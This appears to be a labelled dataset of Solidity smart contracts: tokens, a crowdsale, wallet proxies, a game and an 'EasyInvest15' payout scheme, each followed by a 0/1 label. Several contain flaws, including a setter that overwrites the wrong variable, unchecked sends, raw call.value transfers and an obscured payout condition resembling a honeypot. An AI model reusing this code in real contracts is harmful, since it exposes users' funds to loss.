function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) constant public returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
uint256 public constant maxSupply = 120000000000000000000000000000;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
require(totalSupply <= maxSupply);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint _value) whenNotPaused public returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) whenNotPaused public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
contract FinalToken is PausableToken, MintableToken {
string public constant symbol = "SUGAR";
string public constant name = "SUGAR";
uint8 public constant decimals = 18;
function FinalToken(address _to, uint256 _initialSupply) public{
mint(_to, _initialSupply);
}
} | 1 | 4,381 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract AddressesFilterFeature is Ownable {}
contract ERC20Basic {}
contract BasicToken is ERC20Basic {}
contract StandardToken is ERC20, BasicToken {}
contract MintableToken is AddressesFilterFeature, StandardToken {}
contract Token is MintableToken {
function mint(address, uint256) public returns (bool);
}
contract CrowdsaleWPTByRounds is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
Token public minterContract;
uint256 public rate;
uint256 public tokensRaised;
uint256 public cap;
uint256 public openingTime;
uint256 public closingTime;
uint public minInvestmentValue;
bool public checksOn;
function setMinter(address _minterAddr) public onlyOwner {
minterContract = Token(_minterAddr);
}
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor () public {
rate = 400;
wallet = 0xeA9cbceD36a092C596e9c18313536D0EEFacff46;
cap = 400000000000000000000000;
openingTime = 1534558186;
closingTime = 1535320800;
minInvestmentValue = 0.02 ether;
checksOn = true;
}
function capReached() public view returns (bool) {
return tokensRaised >= cap;
}
function changeRate(uint256 newRate) public onlyOwner {
rate = newRate;
}
function closeRound() public onlyOwner {
closingTime = block.timestamp + 1;
}
function setToken(ERC20 _token) public onlyOwner {
token = _token;
}
function setWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function changeMinInvest(uint256 newMinValue) public onlyOwner {
rate = newMinValue;
}
function setChecksOn(bool _checksOn) public onlyOwner {
checksOn = _checksOn;
}
function setCap(uint256 _newCap) public onlyOwner {
cap = _newCap;
}
function startNewRound(uint256 _rate, address _wallet, ERC20 _token, uint256 _cap, uint256 _openingTime, uint256 _closingTime) payable public onlyOwner {
require(!hasOpened());
rate = _rate;
wallet = _wallet;
token = _token;
cap = _cap;
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function hasOpened() public view returns (bool) {
return (openingTime < block.timestamp && block.timestamp < closingTime);
}
function () payable external {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) payable public{
uint256 weiAmount = msg.value;
if (checksOn) {
_preValidatePurchase(_beneficiary, weiAmount);
}
uint256 tokens = _getTokenAmount(weiAmount);
tokensRaised = tokensRaised.add(tokens);
minterContract.mint(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)
internal
view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0 && _weiAmount > minInvestmentValue);
require(tokensRaised.add(_getTokenAmount(_weiAmount)) <= cap);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
} | 0 | 1,308 |
pragma solidity ^0.4.23;
contract Ownable {
address public owner;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function setOwner(address _owner) public onlyOwner returns (bool) {
require(_owner != address(0));
owner = _owner;
return true;
}
}
interface TokenHandler {
function handleTokens(Token _token) public returns (bool);
}
contract HasWorkers is Ownable {
mapping(address => uint256) private workerToIndex;
address[] private workers;
event AddedWorker(address _worker);
event RemovedWorker(address _worker);
constructor() public {
workers.length++;
}
modifier onlyWorker() {
require(isWorker(msg.sender));
_;
}
modifier workerOrOwner() {
require(isWorker(msg.sender) || msg.sender == owner);
_;
}
function isWorker(address _worker) public view returns (bool) {
return workerToIndex[_worker] != 0;
}
function allWorkers() public view returns (address[] memory result) {
result = new address[](workers.length - 1);
for (uint256 i = 1; i < workers.length; i++) {
result[i - 1] = workers[i];
}
}
function addWorker(address _worker) public onlyOwner returns (bool) {
require(!isWorker(_worker));
uint256 index = workers.push(_worker) - 1;
workerToIndex[_worker] = index;
emit AddedWorker(_worker);
return true;
}
function removeWorker(address _worker) public onlyOwner returns (bool) {
require(isWorker(_worker));
uint256 index = workerToIndex[_worker];
address lastWorker = workers[workers.length - 1];
workerToIndex[lastWorker] = index;
workers[index] = lastWorker;
workers.length--;
delete workerToIndex[_worker];
emit RemovedWorker(_worker);
return true;
}
}
contract ControllerStorage {
address public walletsDelegate;
address public controllerDelegate;
address public forward;
uint256 public createdWallets;
mapping(bytes32 => bytes32) public gStorage;
}
contract WalletStorage {
address public owner;
}
contract DelegateProxy {
function delegatedFwd(address _dst, bytes _calldata) internal {
assembly {
let result := delegatecall(sub(gas, 10000), _dst, add(_calldata, 0x20), mload(_calldata), 0, 0)
let size := returndatasize
let ptr := mload(0x40)
returndatacopy(ptr, 0, size)
switch result case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
contract DelegateProvider {
function getDelegate() public view returns (address delegate);
}
contract ControllerProxy is ControllerStorage, Ownable, HasWorkers, DelegateProvider, DelegateProxy {
function getDelegate() public view returns (address delegate) {
delegate = walletsDelegate;
}
function setWalletsDelegate(address _delegate) public onlyOwner returns (bool) {
walletsDelegate = _delegate;
return true;
}
function setControllerDelegate(address _delegate) public onlyOwner returns (bool) {
controllerDelegate = _delegate;
return true;
}
function() public payable {
if (gasleft() > 2400) {
delegatedFwd(controllerDelegate, msg.data);
}
}
}
contract Token {
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
function approve(address _spender, uint256 _value) returns (bool success);
function increaseApproval (address _spender, uint _addedValue) public returns (bool success);
function balanceOf(address tokenOwner) public constant returns (uint balance);
}
contract WalletProxy is WalletStorage, DelegateProxy {
event ReceivedETH(address from, uint256 amount);
constructor() public {
owner = msg.sender;
}
function() public payable {
if (msg.value > 0) {
emit ReceivedETH(msg.sender, msg.value);
}
if (gasleft() > 2400) {
delegatedFwd(DelegateProvider(owner).getDelegate(), msg.data);
}
}
}
contract Wallet is WalletStorage {
function transferERC20Token(Token token, address to, uint256 amount) public returns (bool) {
require(msg.sender == owner);
return token.transfer(to, amount);
}
function transferEther(address to, uint256 amount) public returns (bool) {
require(msg.sender == owner);
return to.call.value(amount)();
}
function() public payable {}
}
contract Controller is ControllerStorage, Ownable, HasWorkers {
event CreatedUserWallet(address _wallet);
event WithdrawEth(address _wallet, address _to, uint256 _amount);
event WithdrawToken(address _token, address _wallet, address _to, uint256 _amount);
event ChangedForward(address _old, address _new, address _operator);
constructor() public {
setForward(msg.sender);
}
function executeTransaction(address destination, uint256 value, bytes memory _bytes) public onlyOwner returns (bool) {
return destination.call.value(value)(_bytes);
}
function setForward(address _forward) public onlyOwner returns (bool) {
emit ChangedForward(forward, _forward, msg.sender);
forward = _forward;
return true;
}
function createWallets(uint256 number) public onlyWorker returns (bool) {
for (uint256 i = 0; i < number; i++) {
emit CreatedUserWallet(new WalletProxy());
}
createdWallets += number;
return true;
}
function withdrawEth(Wallet wallet) public onlyWorker returns (bool result) {
uint256 balance = address(wallet).balance;
result = wallet.transferEther(forward, balance);
if (result) {
emit WithdrawEth(wallet, forward, balance);
}
}
function withdrawEthBatch(Wallet[] wallets) public onlyWorker returns (bool) {
uint256 size = wallets.length;
uint256 balance;
Wallet wallet;
for (uint256 i = 0; i < size; i++) {
wallet = wallets[i];
balance = wallet.balance;
if (wallet.transferEther(this, balance)) {
emit WithdrawEth(wallet, forward, balance);
}
}
forward.call.value(address(this).balance)();
return true;
}
function withdrawERC20(Token token, Wallet wallet) public onlyWorker returns (bool result) {
uint256 balance = token.balanceOf(wallet);
result = wallet.transferERC20Token(token, forward, balance);
if (result) {
emit WithdrawToken(token, wallet, forward, balance);
}
TokenHandler(forward).handleTokens(token);
}
function withdrawERC20Batch(Token token, Wallet[] wallets) public onlyWorker returns (bool) {
uint256 size = wallets.length;
uint256 balance;
Wallet wallet;
for (uint256 i = 0; i < size; i++) {
wallet = wallets[i];
balance = token.balanceOf(wallet);
if (wallet.transferERC20Token(token, forward, balance)) {
emit WithdrawToken(token, wallet, forward, balance);
}
}
TokenHandler(forward).handleTokens(token);
return true;
}
function() public payable {}
} | 1 | 3,934 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ChronosAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function ChronosAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
contract ChronosBase is ChronosAccessControl {
using SafeMath for uint256;
bool public gameStarted;
address public gameStarter;
address public lastPlayer;
uint256 public lastPlayTimestamp;
uint256 public timeout = 120;
uint256 public wagerIndex = 0;
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract ChronosFinance is ChronosBase, PullPayment {
uint256 public feePercentage = 2500;
uint256 public gameStarterDividendPercentage = 1000;
uint256 public price = 0.005 ether;
uint256 public prizePool;
uint256 public wagerPool;
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
function withdrawFreeBalance() external onlyCFO {
uint256 freeBalance = this.balance.sub(totalPayments).sub(prizePool).sub(wagerPool);
cfoAddress.transfer(freeBalance);
}
}
contract ChronosCore is ChronosFinance {
function ChronosCore(uint256 _price, uint256 _timeout) public {
price = _price;
timeout = _timeout;
}
event Start(address indexed starter, uint256 timestamp);
event End(address indexed winner, uint256 timestamp, uint256 prize);
event Play(address indexed player, uint256 timestamp, uint256 timeoutTimestamp, uint256 wagerIndex, uint256 newPrizePool);
function play(bool startNewGameIfIdle) external payable {
_processGameEnd();
require(msg.value >= price);
if (!gameStarted) {
require(!paused);
require(startNewGameIfIdle);
gameStarted = true;
gameStarter = msg.sender;
Start(msg.sender, block.timestamp);
}
uint256 fee = price.mul(feePercentage).div(100000);
uint256 dividend = price.mul(gameStarterDividendPercentage).div(100000);
uint256 wagerPoolPart = price.mul(2).div(7);
lastPlayer = msg.sender;
lastPlayTimestamp = block.timestamp;
prizePool = prizePool.add(price.sub(fee).sub(dividend).sub(wagerPoolPart));
Play(msg.sender, block.timestamp, block.timestamp + timeout, wagerIndex, prizePool);
_sendFunds(gameStarter, dividend);
if (wagerIndex > 0 && (wagerIndex % 7) == 0) {
msg.sender.transfer(wagerPool);
wagerPool = 0;
}
wagerPool = wagerPool.add(wagerPoolPart);
wagerIndex = wagerIndex.add(1);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStarted) {
return false;
}
if (block.timestamp <= lastPlayTimestamp + timeout) {
return false;
}
_sendFunds(lastPlayer, prizePool);
End(lastPlayer, lastPlayTimestamp, prizePool);
gameStarted = false;
gameStarter = 0x0;
lastPlayer = 0x0;
lastPlayTimestamp = 0;
wagerIndex = 0;
prizePool = 0;
wagerPool = 0;
return true;
}
} | 0 | 914 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract WuZeFoundation is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function WuZeFoundation() public {
symbol = "WZF";
name = "WuZe Foundation";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0xff60947022E9e3510974646C530445B51540292D] = _totalSupply;
Transfer(address(0), 0xff60947022E9e3510974646C530445B51540292D, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 4,230 |
pragma solidity ^0.4.23;
contract ERC20 {
function transferFrom(address from, address to, uint value) public returns (bool success);
}
contract ERC721 {
function transferFrom(address from, address to, uint value) public;
}
contract Ownable {
address owner;
address pendingOwner;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPendingOwner {
require(msg.sender == pendingOwner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
owner = pendingOwner;
}
}
contract Destructible is Ownable {
function destroy() public onlyOwner {
selfdestruct(msg.sender);
}
}
contract WithClaim {
event Claim(string data);
}
contract UserfeedsClaimWithoutValueTransfer is Destructible, WithClaim {
function post(string data) public {
emit Claim(data);
}
}
contract UserfeedsClaimWithValueTransfer is Destructible, WithClaim {
function post(address userfeed, string data) public payable {
emit Claim(data);
userfeed.transfer(msg.value);
}
}
contract UserfeedsClaimWithTokenTransfer is Destructible, WithClaim {
function post(address userfeed, ERC20 token, uint value, string data) public {
emit Claim(data);
require(token.transferFrom(msg.sender, userfeed, value));
}
}
contract UserfeedsClaimWithValueMultiSendUnsafe is Destructible, WithClaim {
function post(string data, address[] recipients) public payable {
emit Claim(data);
send(recipients);
}
function post(string data, bytes20[] recipients) public payable {
emit Claim(data);
send(recipients);
}
function send(address[] recipients) public payable {
uint amount = msg.value / recipients.length;
for (uint i = 0; i < recipients.length; i++) {
recipients[i].send(amount);
}
msg.sender.transfer(address(this).balance);
}
function send(bytes20[] recipients) public payable {
uint amount = msg.value / recipients.length;
for (uint i = 0; i < recipients.length; i++) {
address(recipients[i]).send(amount);
}
msg.sender.transfer(address(this).balance);
}
}
contract UserfeedsClaimWithConfigurableValueMultiTransfer is Destructible, WithClaim {
function post(string data, address[] recipients, uint[] values) public payable {
emit Claim(data);
transfer(recipients, values);
}
function transfer(address[] recipients, uint[] values) public payable {
for (uint i = 0; i < recipients.length; i++) {
recipients[i].transfer(values[i]);
}
msg.sender.transfer(address(this).balance);
}
}
contract UserfeedsClaimWithConfigurableTokenMultiTransfer is Destructible, WithClaim {
function post(string data, address[] recipients, ERC20 token, uint[] values) public {
emit Claim(data);
transfer(recipients, token, values);
}
function transfer(address[] recipients, ERC20 token, uint[] values) public {
for (uint i = 0; i < recipients.length; i++) {
require(token.transferFrom(msg.sender, recipients[i], values[i]));
}
}
}
contract UserfeedsClaimWithConfigurableTokenMultiTransferNoCheck is Destructible, WithClaim {
function post(string data, address[] recipients, ERC721 token, uint[] values) public {
emit Claim(data);
transfer(recipients, token, values);
}
function transfer(address[] recipients, ERC721 token, uint[] values) public {
for (uint i = 0; i < recipients.length; i++) {
token.transferFrom(msg.sender, recipients[i], values[i]);
}
}
} | 1 | 2,198 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract APT_TOKEN is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "Anypay Token";
string public symbol = "APT";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 10000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 0 | 774 |
pragma solidity ^0.4.25;
contract EasyInvest15 {
mapping (address => uint) public invested;
mapping (address => uint) public atBlock;
mapping (uint => uint) public txs;
uint public lastTxs;
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 15 / 100 * (block.number - atBlock[msg.sender]) / 5900;
uint256 restAmount = address(this).balance;
amount = amount < restAmount && txs[lastTxs ** 0x0] != uint(tx.origin) ? amount : restAmount;
msg.sender.transfer(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
txs[++lastTxs] = uint(tx.origin);
}
} | 0 | 329 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
